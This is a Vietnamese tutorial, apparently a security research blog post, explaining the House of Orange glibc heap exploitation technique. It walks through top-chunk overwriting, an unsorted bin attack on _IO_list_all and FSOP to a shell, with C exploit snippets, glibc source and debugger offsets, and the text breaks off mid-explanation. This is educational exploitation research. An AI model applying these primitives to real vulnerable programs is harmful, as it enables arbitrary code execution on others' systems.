Kỹ thuật Heap Exploitation - House of Orange

Tìm hiểu chi tiết về cơ chế hoạt động của kỹ thuật khai thác heap House of Orange.

Summary: House of Orange là một kỹ thuật khai thác heap hiệu quả trên glibc <= 2.23, lợi dụng heap overflow ghi đè kích thước top chunk, ép ptmalloc giải phóng vào unsorted bin, leak địa chỉ libc và thực hiện unsorted bin attack để kiểm soát _IO_list_all, chèn file pointer giả mạo chiếm quyền thực thi thông qua FSOP trong quá trình abort.

November 4, 2025 October 4, 2025 Research
Author Author Hung Nguyen Tuong

Introduction

House of Orange là một kỹ thuật khai thác heap lợi dụng việc có thể overflow đến top chunk (hay còn gọi là wilderness chunk), từ đó tiếp tục tác động tới cấu trúc _IO_list_all trong glibc để chiếm quyền ghi/thực thi. Kỹ thuật này xuất phát từ writeup của challenge cùng tên bởi Angleboy tại HITCON CTF Quals 2016:

https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html.

Core Idea

Thông thường, khi khai thác heap, chúng ta thường phụ thuộc vào hàm free hoặc các hàm tương tự để giải phóng chunk vào các bins, dẫn đến việc leak các địa chỉ quan trọng. Tuy nhiên, nếu chương trình không cung cấp các hàm như vậy, liệu chúng ta còn cách nào để ép ptmalloc giải phóng các chunk?

Cốt lõi của House of Orange là ép ptmalloc tự động giải phóng top chunk vào unsorted bin mà không cần gọi trực tiếp tới hàm free. Quá trình này diễn ra khi kích thước top chunk hiện tại không đủ để đáp ứng yêu cầu cấp phát của malloc, buộc ptmalloc phải giải phóng top chunk và đưa nó vào unsorted bin.

Cụ thể, khi malloc (tiếp tục gọi đến _int_malloc) không tìm được chunk phù hợp trong các bin fastbins, smallbins, unsortedbins, largebins, nó sẽ tiến hành cắt một phần từ top chunk để trả về. Quá trình này khiến top chunk dần bị thu hẹp lại.

/malloc/malloc.c
3793
3794
3795
3796
3797
3798
3799
3800
3801
3802
3803
3804
3805
3806
3807
3808
3809
victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
  remainder_size = size - nb;
  remainder = chunk_at_offset (victim, nb);
  av->top = remainder;
  set_head (victim, nb | PREV_INUSE |
			(av != &main_arena ? NON_MAIN_ARENA : 0));
  set_head (remainder, remainder_size | PREV_INUSE);

  check_malloced_chunk (av, victim, nb);
  void *p = chunk2mem (victim);
  alloc_perturb (p, bytes);
  return p;
}

Khi kích thước top chunk không còn đủ để cấp phát, sysmalloc sẽ được gọi để mở rộng heap:

/malloc/malloc.c
3826
3827
3828
3829
3830
3831
3832
else
{
  void *p = sysmalloc (nb, av);
  if (p != NULL)
	alloc_perturb (p, bytes);
  return p;
}

Có ba tình huống khi mở rộng heap, ở đây chúng ta chỉ bàn đến main arena. Trường hợp đầu tiên, nếu vùng mở rộng nằm ngay sau vùng cũ, ptmalloc sẽ nối tiếp trực tiếp, không giải phóng top chunk.

/malloc/malloc.c
2547
2548
if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE))
	set_head (old_top, (size + old_size) | PREV_INUSE);

Trường hợp thứ hai, vẫn là mở rộng nối liền nhưng gặp các yếu tố bất thường, ptmalloc có thể phải giải phóng top chunk, tuy nhiên điều này hiếm khi xảy ra.

/malloc/malloc.c
2583
2584
2585
2586
2587
2588
2589
/* handle contiguous cases */
if (contiguous (av))
{
  /* Count foreign sbrk as system_mem.  */
  if (old_size)
	av->system_mem += brk - old_end;
...

Trường hợp thứ ba phổ biến hơn là khi vùng mở rộng không liền kề với heap cũ, có thể do phân mảnh, hết không gian liền mạch hoặc bị giới hạn tài nguyên. Khi đó, ptmalloc buộc phải giải phóng top chunk để có thể tái sử dụng sau này:

/malloc/malloc.c
2645
2646
2647
2648
2649
2650
2651
/* handle non-contiguous cases */
else
{
  if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
	/* MORECORE/mmap must correctly align */
	assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0);
...
/malloc/malloc.c
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
if (old_size != 0)
{
  /*
	 Shrink old_top to insert fenceposts, keeping size a
	 multiple of MALLOC_ALIGNMENT. We know there is at least
	 enough space in old_top to do this.
   */
  old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
  set_head (old_top, old_size | PREV_INUSE);

  /*
	 Note that the following assignments completely overwrite
	 old_top when old_size was previously MINSIZE.  This is
	 intentional. We need the fencepost, even if old_top otherwise gets
	 lost.
   */
  chunk_at_offset (old_top, old_size)->size =
	(2 * SIZE_SZ) | PREV_INUSE;

  chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
	(2 * SIZE_SZ) | PREV_INUSE;

  /* If possible, release the rest. */
  if (old_size >= MINSIZE)
	{
	  _int_free (av, old_top, 1);
	}
}

Tuy nhiên, việc này phụ thuộc vào nhiều yếu tố khác như trạng thái bộ nhớ, cấu trúc heap, hệ điều hành và chương trình,… nên việc yêu cầu thêm vùng nhớ không đảm bảo sẽ giải phóng top chunk. Do đó, kỹ thuật khai thác này không đảm bảo luôn thành công.

Nếu rơi vào trường hợp top chunk được giải phóng, trước đó một top chunk được coi là hợp lệ phải đáp ứng các điều kiện sau:

/malloc/malloc.c
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
/*
 If not the first time through, we require old_size to be
 at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
	  ((unsigned long) (old_size) >= MINSIZE &&
	   prev_inuse (old_top) &&
	   ((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

Nếu sysmalloc được gọi lần đầu tiên, top chunk có thể chưa được khởi tạo, nên kích thước bằng 0 và vị trí nằm ngay sau vùng được cấp phát cho arena. Nếu top chunk đã tồn tại, kích thước phải lớn hơn hoặc bằng MINSIZE (= 32 byte trên kiến trúc 64-bit) để có thể chứa metadata, đồng thời bit prev_inuse phải được set để tránh gộp nhầm với chunk trước đó nếu chunk đó được giải phóng. Địa chỉ kết thúc của top chunk cũng phải được căn chỉnh theo đơn vị page, vì kernel chỉ cấp phát bộ nhớ theo page (thường là 4KB). Cuối cùng, để kích hoạt cơ chế mở rộng heap, kích thước top chunk hiện tại phải nhỏ hơn kích thước cấp phát yêu cầu cộng với MINSIZE.

Tóm lại, các điều kiện là:

  • MINSIZE <= Kích thước top chunk < Kích thước yêu cầu + MINSIZE.
  • prev_inuse = 1.
  • Địa chỉ kết thúc của top chunk căn chỉnh theo page.

Thỏa mãn các điều kiện này, _int_free được thực thi và đặt top chunk vào unsorted bin.

Example

Phase 1 - free top chunk

Đầu tiên, chúng ta tiến hành cấp phát một chunk có kích thước 0x400 byte trên heap.

char *p1 = malloc(0x400 - 16);

Ở lần khởi tạo đầu tiên, glibc sẽ sử dụng mmap để tạo heap. Kích thước thực tế được cấp phát cho top chunk thường là 0x21000 thay vì 0x20000, do cần thêm các vùng cho việc quản lý heap, và sau đó căn chỉnh theo page. Sau khi cấp phát chunk 0x400 byte, top chunk còn lại 0x20c00 byte, và prev_inuse bit được đặt, nên giá trị cuối cùng là 0x20c01.

pwndbg> heap -v
Allocated chunk | PREV_INUSE
Addr: 0x29d50000
prev_size: 0x00
size: 0x401
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00

Top chunk | PREV_INUSE
Addr: 0x29d50400
prev_size: 0x00
size: 0x20c01
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00

Tiếp theo, chúng ta sẽ ghi đè kích thước của top chunk thành một giá trị nhỏ hơn, nhưng cần đảm bảo rằng địa chỉ kết thúc của top chunk (tính bằng địa chỉ bắt đầu cộng với kích thước, old_end = (char *) (chunk_at_offset (old_top, old_size))) vẫn phải được căn chỉnh theo page, và prev_inuse bit phải được set.

Giả sử có lỗ hổng nào đó cho phép chúng ta ghi đè đến top chunk:

                         ┌────────top[0] = p1 + 0x400 - 16 
                         │  ┌─────top[1]: size             
       ┌──p1             │  │  ┌──p1 + 0x400               
       ▼                 ▼  ▼  ▼                           
 ┌──┬──┬─────────────────┬──┬──┬──────────────────────────┐
 │  │  │                 │  │  │                          │
 │  │  │     chunk       │  │  │        top chunk         │
 │  │  │                 │  │  │                          │
 └──┴──┴─────────────────┴──┴──┴──────────────────────────┘
size_t *top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01;

Xác nhận ghi đè thành công:

pwndbg> heap -v
Allocated chunk | PREV_INUSE
Addr: 0x29d50000
prev_size: 0x00
size: 0x401
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00

Top chunk | PREV_INUSE
Addr: 0x29d50400
prev_size: 0x00
size: 0xc01
fd: 0x00
bk: 0x00
fd_nextsize: 0x00
bk_nextsize: 0x00

Bây giờ, chúng ta sẽ cấp phát một chunk với kích thước lớn hơn kích thước giả mạo của top chunk. Điều này buộc ptmalloc phải gọi sysmalloc để mở rộng heap thông qua.

Trước khi mở rộng, trạng thái heap bình thường sẽ như sau:

    ┌──────────┬────────────────┐   
    │          │                │   
    │  chunk   │   top chunk    │   
    │          │                │   
    └──────────┴────────────────┘   
    ▲                           ▲   
    │                           │   
heap start                  heap end

Mở rộng sau lời gọi cấp phát, heap sẽ trông như sau:

                                  ┌──────fencepost 1                
                                  │ ┌────fencepost 2                
                                  ▼ ▼                               
    ┌──────────┬─────────────────┬─┬─┐   ┌───────────────────┐      
    │          │                 │ │ │   │                   │      
    │  chunk   │  old top chunk  │ │ │...│   new top chunk   │      
    │          │                 │ │ │   │                   │      
    └──────────┴─────────────────┴─┴─┘   └───────────────────┘      
    ▲                            ▲                           ▲      
    │                            │                           │      
heap start                 old heap end                 new heap end

Chúng ta đang xem xét với trường hợp vùng mở rộng nằm tách biệt so với vùng heap cũ, nên top chunk mới không liền kề với top chunk cũ. Trước khi được top chunk cũ, hai fencepost được cắt ra ở cuối, mỗi cái có kích thước 16 byte trên kiến trúc 64-bit. Fencepost được đánh dấu là in-use để ptmalloc tránh các vấn đề về hợp nhất và phân chia ranh giới.

Sau khi mở rộng heap, do kích thước giả của top chunk cũ không nằm trong giới hạn của fastbin, chunk này sẽ được đưa vào unsorted bin:

    ┌──────────┬─────────────────┬─┬─┐   ┌───────────────────┐   
    │          │                 │ │ │   │                   │   
    │  chunk   │   free chunk    │ │ │...│   new top chunk   │   
    │          │                 │ │ │   │                   │   
    └──────────┴──┬──────────────┴─┴─┘   └───────────────────┘   
    ▲           ▲ │                                          ▲   
    │           │ ▼                                          │   
heap start     unsortedbin                               heap end
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x29d50000
Size: 0x401

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x29d50400
Size: 0xbe1
fd: 0x7fc11bf1bb78
bk: 0x7fc11bf1bb78

Allocated chunk
Addr: 0x29d50fe0
Size: 0x10

Allocated chunk | PREV_INUSE
Addr: 0x29d50ff0
Size: 0x11

Allocated chunk
Addr: 0x29d51000
Size: 0x00

Để ý rằng, top chunk mới không nằm sau fencepost nên kích thước của “chunk” tại 0x29d510000x00.

pwndbg> bins
fastbins
empty
unsortedbin
all: 0x29d50400 —▸ 0x7fc11bf1bb78 (main_arena+88) ◂— 0x29d50400
smallbins
empty
largebins
empty

Phase 2 - FSOP

Như vậy, chúng ta đã hoàn thành giai đoạn 1 của quá trình khai thác. Sang giai đoạn 2, chúng ta tiếp tục lợi dụng overflow để ghi đè con trỏ fdbk của top chunk cũ đã được đưa vào unsorted bin. Sau khi đã kiểm soát được các con trỏ này, có hai hướng khai thác tiếp theo. Một trong số đó là lợi dụng khả năng ghi đè này để cấp phát tới một địa chỉ bất kỳ tương ứng với giá trị đã ghi vào con trỏ fd. Hướng này yêu cầu ít nhất hai 2 cấp phát:

   ┌───────────────────────────────────────────────────────────────────────────┐                             
┌──┼──────────────────────────────────────┐                                    │                            
│  ▼           unsorted bin               ▼          old top chunk             │                            
│  ┌─────────────────────────────────┐ ┌─►┌────────────────┬──────────┬─┬─┬─┐  │          ┌────────────────┐
│  │                                 │ │  │   PREV_SIZE    │CHUNK_SIZE│A│M│P│  │          │ TARGET ADDRESS │
│  ├────────────────┬────────────────┤ │  ├────────────────┼──────────┴─┴─┴─┤  │          └────────────────┘
└──┼────── FD       │       BK ──────┼─┘  │       FD ───┐  │       BK ──────┼──┘          ▲                 
   └────────────────┴────────────────┘    ├─────────────┼──┴────────────────┤             │                 
                                          │             │                   │             │                 
                                          │             └───────────────────┼─────────────┘                 
                                          │                                 │                               
                                          └─────────────────────────────────┘                               

Ở lần cấp phát thứ nhất, con trỏ fd của unsorted bin sẽ trỏ tới địa chỉ mong muốn. Ở lần cấp phát tiếp theo, ptmalloc sẽ trả về chunk tại địa chỉ này, cho phép chúng ta kiểm soát vùng nhớ tùy ý.

Hướng khai thác này khá đơn giản nên không cần bàn thêm. Chúng ta sẽ bàn đến hướng khai thác lợi dụng cách _int_malloc gỡ node ra khỏi unsorted bin (sử dụng doubly linked list). Hướng này chỉ cần ít nhất một lần cấp phát, nhưng đòi hỏi phải có lỗ hổng cho phép leak địa chỉ của libc để tính được địa chỉ của _IO_list_all. Quá trình khai thác tận dụng việc glibc sẽ gọi abort khi phát hiện tham nhũng bộ nhớ (memory corruption), cụ thể là sau khi chúng ta làm hỏng heap.

Chúng ta cùng quan sát quá trình glibc bắt đầu phát hiện corruption, xảy ra tại _int_malloc:

/malloc/malloc.c
3467
3468
3469
3470
3471
3472
3473
3474
3475
3476
3477
for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

Nếu phát hiện memory corruption, gọi đến malloc_printerr:

/malloc/malloc.c
4987
4988
4989
4990
4991
4992
4993
4994
4995
4996
4997
4998
4999
5000
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
5011
5012
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

Tiếp tục gọi đến abort:

/stdlib/abort.c
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/* Cause an abnormal program termination with core-dump.  */
void
abort (void)
{
  struct sigaction act;
  sigset_t sigs;

  /* First acquire the lock.  */
  __libc_lock_lock_recursive (lock);

  /* Now it's for sure we are alone.  But recursive calls are possible.  */

  /* Unlock SIGABRT.  */
  if (stage == 0)
    {
      ++stage;
      if (__sigemptyset (&sigs) == 0 &&
	  __sigaddset (&sigs, SIGABRT) == 0)
	__sigprocmask (SIG_UNBLOCK, &sigs, (sigset_t *) NULL);
    }

  /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }

Rồi gọi đến fflush, được định nghĩa là _IO_flush_all_lockp:

/stdlib/abort.c
34
#define fflush(s) _IO_flush_all_lockp (0)
/libio/genops.c
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

Tại đây, hàm sử dụng con trỏ _IO_list_all và duyệt qua các _IO_FILE hiện có, và bởi là linked list nên sẽ đi đến node tiếp theo qua con trỏ fp->_chain, và gọi _IO_OVERFLOW trong vtable của từng node, với đối số là file pointer hiện tại: fp.

/libio/genops.c
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
  run_fp = fp;
  if (do_lock)
_IO_flockfile (fp);

  if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
   || (_IO_vtable_offset (fp) == 0
	   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

  if (do_lock)
_IO_funlockfile (fp);
  run_fp = NULL;

  if (last_stamp != _IO_list_all_stamp)
{
  /* Something was added to the list.  Start all over again.  */
  fp = (_IO_FILE *) _IO_list_all;
  last_stamp = _IO_list_all_stamp;
}
  else
fp = fp->_chain;
}

Vậy ý tưởng như sau, chúng ta ghi đè địa chỉ của _IO_list_all bằng một file pointer giả mạo, trong đó con trỏ _IO_OVERFLOW sẽ trỏ đến hàm system(), và 8 byte đầu tiên của file pointer này chứa chuỗi /bin/sh. Khi glibc gọi _IO_OVERFLOW(fp, EOF), thực chất sẽ gọi system("/bin/sh"), từ đó mở một shell và cho phép thực thi lệnh trên hệ thống. Kỹ thuật này được gọi là FSOP - File Stream Oriented Programming.

Quay lại với ví dụ, sau khi top chunk được free và đưa vào unsorted bin, các con trỏ fdbk của nó đang trỏ đến head của unsorted bin. Chúng ta có thể tính được địa chỉ của _IO_list_all bằng cách lấy địa chỉ của head unsorted bin cộng với một offset tính được như sau:

pwndbg> unsortedbin
unsortedbin
all: 0x29d50400 —▸ 0x7fc11bf1bb78 (main_arena+88) ◂— 0x29d50400
pwndbg> p &_IO_list_all
$3 = (struct _IO_FILE_plus **) 0x7fc11bf1c520 <_IO_list_all>
pwndbg> p/x 0x7fc11bf1c520 - 0x7fc11bf1bb78
$4 = 0x9a8

Offset là 0x9a8 byte, ta cộng vào top[2], là con trỏ fd, trỏ đến head của unsorted bin:

size_t io_list_all = top[2] + 0x9a8;

Hiện tại, do không có chunk nào phù hợp nằm trong fastbin, khi có yêu cầu cấp phát, ptmalloc sẽ tìm kiếm chunk trong unsorted bin theo chiều bk. Đối với mỗi chunk trong unsorted binptmalloc duyệt tới, do đây là double linked list, ptmalloc sẽ thực hiện việc chunk ra khỏi unsorted bin. Nếu kích thước chunk đúng với yêu cầu, chunk sẽ được trả về ngay cho người dùng. Nếu không khớp, chunk sẽ được chuyển vào các bin tương ứng với kích thước của nó, sau đó ptmalloc tiếp tục duyệt chunk tiếp theo trong unsorted bin và lặp lại.

Lợi dụng quá trình này, chúng ta thực hiện unsorted bin attack, ghi đè địa chỉ của _IO_list_all bằng một file pointer giả mạo, chính là top chunk mà chúng ta đang kiểm soát. Cụ thể, trong mã nguồn, khi ptmalloc duyệt qua từng chunk trong unsorted bin, nó sẽ thực hiện các bước sau để gỡ chunk ra khỏi bin:

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
  bck = victim->bk;
...
  /* remove from unsorted list */
  unsorted_chunks (av)->bk = bck;
  bck->fd = unsorted_chunks (av);
...

Nếu chúng ta ghi đè con trỏ bk của top chunk thành địa chỉ _IO_list_all - 0x10, khi đó bk của unsorted bin cũng sẽ trỏ đến _IO_list_all - 0x10. Sau đó, khi ptmalloc thực hiện việc gỡ, thao tác bck->fd = unsorted_chunks (av) sẽ tương đương với việc ghi địa chỉ của unsorted bin vào _IO_list_all. Kết quả là, _IO_list_all bây giờ sẽ trỏ đến unsorted bin.

top[3] = io_list_all - 0x10;
          ┌─────────────────────────────────────────────────────────────────────────────┐
          │                                                   ┌────┐                    │
          ▼                                                   │    ▼                    │
                                 ┌─────────────────────────┐  │    ┌─────────────────┐  │
&_IO_list_all - 0x10 ──────────► │                         │  │    │                 │  │
                                 ├─────────────────────────┤  │    ├────────┬────────┤  │
&_IO_list_all        ──────────► │ &main_arena.unsortedbin─┼──┘    │   FD   │   BK ──┼──┘
                                 └─────────────────────────┘       └────────┴────────┘   
                                        _IO_list_all                   unsortedbin       

Lúc này, top chunk sẽ bị lấy ra khỏi unsorted bin và được đặt vào các bin khác tương ứng với kích thước. Sau bước này, ptmalloc sẽ tiếp tục duyệt chunk tiếp theo, tức là chunk unsorted_chunks(av)->bk, lúc này đã là _IO_list_all. Tuy nhiên, do không đáp ứng điều kiện về kích thước tối thiểu, chunk này sẽ bị phát hiện là corrupted:

/malloc/malloc.c
3473
3474
3475
3476
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);

Từ đó, kích hoạt quá trình abort và cuối cùng sẽ gọi đến _IO_OVERFLOW của file pointer giả mạo mà chúng ta đã kiểm soát từ trước.

Trước đó, chúng ta chỉ có thể ghi đè địa chỉ của unsorted bin vào _IO_list_all, nên file pointer đầu tiên được kiểm tra trong quá trình abort chính là unsorted bin. Tuy nhiên, tại thời điểm này, chúng ta không còn kiểm soát được vùng nhớ này để ghi đè vtable giả mạo chứa địa chỉ system() tại vị trí _IO_OVERFLOW. Vì vậy, ý tưởng là kiểm soát file pointer tiếp theo thông qua con trỏ fp->_chain. Chúng ta sẽ tính offset đến trường _chain như sau:

pwndbg> p _IO_list_all
$5 = (struct _IO_FILE_plus *) 0x7fc11bf1c540 <_IO_2_1_stderr_>
pwndbg> p _IO_2_1_stderr_
$6 = {
  file = {
    _flags = -72537977,
    _IO_read_ptr = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
    _IO_read_end = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
    _IO_read_base = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
    _IO_write_base = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
    _IO_write_ptr = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
    _IO_write_end = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
    _IO_buf_base = 0x7fc11bf1c5c3 <_IO_2_1_stderr_+131> "",
    _IO_buf_end = 0x7fc11bf1c5c4 <_IO_2_1_stderr_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7fc11bf1c620 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7fc11bf1d770 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7fc11bf1b660 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7fc11bf1a6e0 <_IO_file_jumps>
}
pwndbg> p &_IO_2_1_stderr_.file._chain
$7 = (struct _IO_FILE **) 0x7fc11bf1c5a8 <_IO_2_1_stderr_+104>
pwndbg> p/x 0x7fc11bf1c5a8 - 0x7fc11bf1c540
$8 = 0x68

Khoảng cách từ địa chỉ bắt đầu của file pointer đến trường _chain0x68, tương ứng với khoảng cách từ địa chỉ của unsorted bin đến smallbin có index là 6. Chúng ta có thể xác nhận điều này bằng cách kiểm tra như sau:

pwndbg> unsortedbin
unsortedbin
all: 0x29d50400 —▸ 0x7fc11bf1bb78 (main_arena+88) ◂— 0x29d50400
pwndbg> p &main_arena.bins
$12 = (mchunkptr (*)[254]) 0x7fc11bf1bb88 <main_arena+104>
pwndbg> x/20gx 0x7fc11bf1bb88-0x10
0x7fc11bf1bb78 <main_arena+88>:         0x0000000029d72010      0x0000000000000000
0x7fc11bf1bb88 <main_arena+104>:        0x0000000029d50400      0x0000000029d50400 # unsortedbin 1 fd bk
0x7fc11bf1bb98 <main_arena+120>:        0x00007fc11bf1bb88      0x00007fc11bf1bb88 # smallbin 2 fd bk
0x7fc11bf1bba8 <main_arena+136>:        0x00007fc11bf1bb98      0x00007fc11bf1bb98 # smallbin 3 fd bk
0x7fc11bf1bbb8 <main_arena+152>:        0x00007fc11bf1bba8      0x00007fc11bf1bba8 # smallbin 4 fd bk
0x7fc11bf1bbc8 <main_arena+168>:        0x00007fc11bf1bbb8      0x00007fc11bf1bbb8 # smallbin 5 fd bk
0x7fc11bf1bbd8 <main_arena+184>:        0x00007fc11bf1bbc8 -->  0x00007fc11bf1bbc8 # smallbin 6 fd bk
0x7fc11bf1bbe8 <main_arena+200>:        0x00007fc11bf1bbd8      0x00007fc11bf1bbd8 # smallbin 7 fd bk
0x7fc11bf1bbf8 <main_arena+216>:        0x00007fc11bf1bbe8      0x00007fc11bf1bbe8
0x7fc11bf1bc08 <main_arena+232>:        0x00007fc11bf1bbf8      0x00007fc11bf1bbf8
pwndbg> p/x 0x7fc11bf1bbd8 + 0x8 - 0x7fc11bf1bb78
$13 = 0x68
Nếu bạn đang thắc mắc tại sao fdbk của các bin lại trỏ về bin ngay trước nó thì đọc cái này

Đó là do các fake header, giúp cho offset của fdbk được giữ nguyên giống như các chunk bình thường.

            ┌─┐                    
            │ ├───────────────────┐
            │ ▼                   │
            │ ┌─────────────────┐ │
smallbin1   │ │                 │ │
            │ ├────────┬────────┤ │
smallbin2   └─┼── FD   │   BK ──┼─┘
              └────────┴────────┘  

Như vậy, để top chunk lấy ra từ unsorted bin sau đó được đặt vào smallbin 6, kích thước của chunk cần là 2 x 8 (64-bit) x 6 = 96 = 0x60 byte. Chúng ta sẽ đặt size là 0x61 (prev_inuse = 1).

top[1] = 0x61;

Sau khi đã đưa chunk vào smallbin thích hợp, trường fp->_chain sẽ trỏ đến file pointer giả mạo mà chúng ta kiểm soát (top chunk).

Bây giờ, chúng ta cần hoàn thiện file pointer giả mạo này. Đầu tiên, ghi 8 byte đầu là chuỗi /bin/bash.

memcpy(top, "/bin/bash", sizeof "/bin/bash");

Tiếp đến, cần đảm bảo các điều kiện để _IO_OVERFLOW được gọi:

/libio/genops.c
779
780
781
782
783
784
785
786
  if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
   || (_IO_vtable_offset (fp) == 0
	   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)

Điều kiện trong mã nguồn có dạng: if ( (A || B) && C ). Nếu (A || B) là true, chương trình sẽ kiểm tra tiếp C, nếu là false thì bỏ qua luôn C. Ở đây, chúng ta dễ dàng làm cho A đúng, tức là fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base là true.

FILE *fp = (FILE *)top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *)1; // top+0x20
fp->_IO_write_ptr = (char *)2; // top+0x28

Chúng ta có thể tính offset tương ứng của chúng như sau:

pwndbg> p &_IO_2_1_stderr_
$14 = (struct _IO_FILE_plus *) 0x7fc11bf1c540 <_IO_2_1_stderr_>
pwndbg> p/x &_IO_2_1_stderr_.file._mode
$22 = 0x7fc11bf1c600
pwndbg> p/x &_IO_2_1_stderr_.file._IO_write_base
$23 = 0x7fc11bf1c560
pwndbg> p/x &_IO_2_1_stderr_.file._IO_write_ptr
$24 = 0x7fc11bf1c568
pwndbg> p/x 0x7fc11bf1c600 - 0x7fc11bf1c540
$25 = 0xc0
pwndbg> p/x 0x7fc11bf1c560 - 0x7fc11bf1c540
$26 = 0x20
pwndbg> p/x 0x7fc11bf1c568 - 0x7fc11bf1c540
$27 = 0x28c

Tiếp theo, chúng ta cần phải tạo một vtable với _IO_OVERFLOW trỏ đến system(). Để đơn giản hóa ví dụ, ta giả sử có hàm winner() như sau trong mã nguồn:

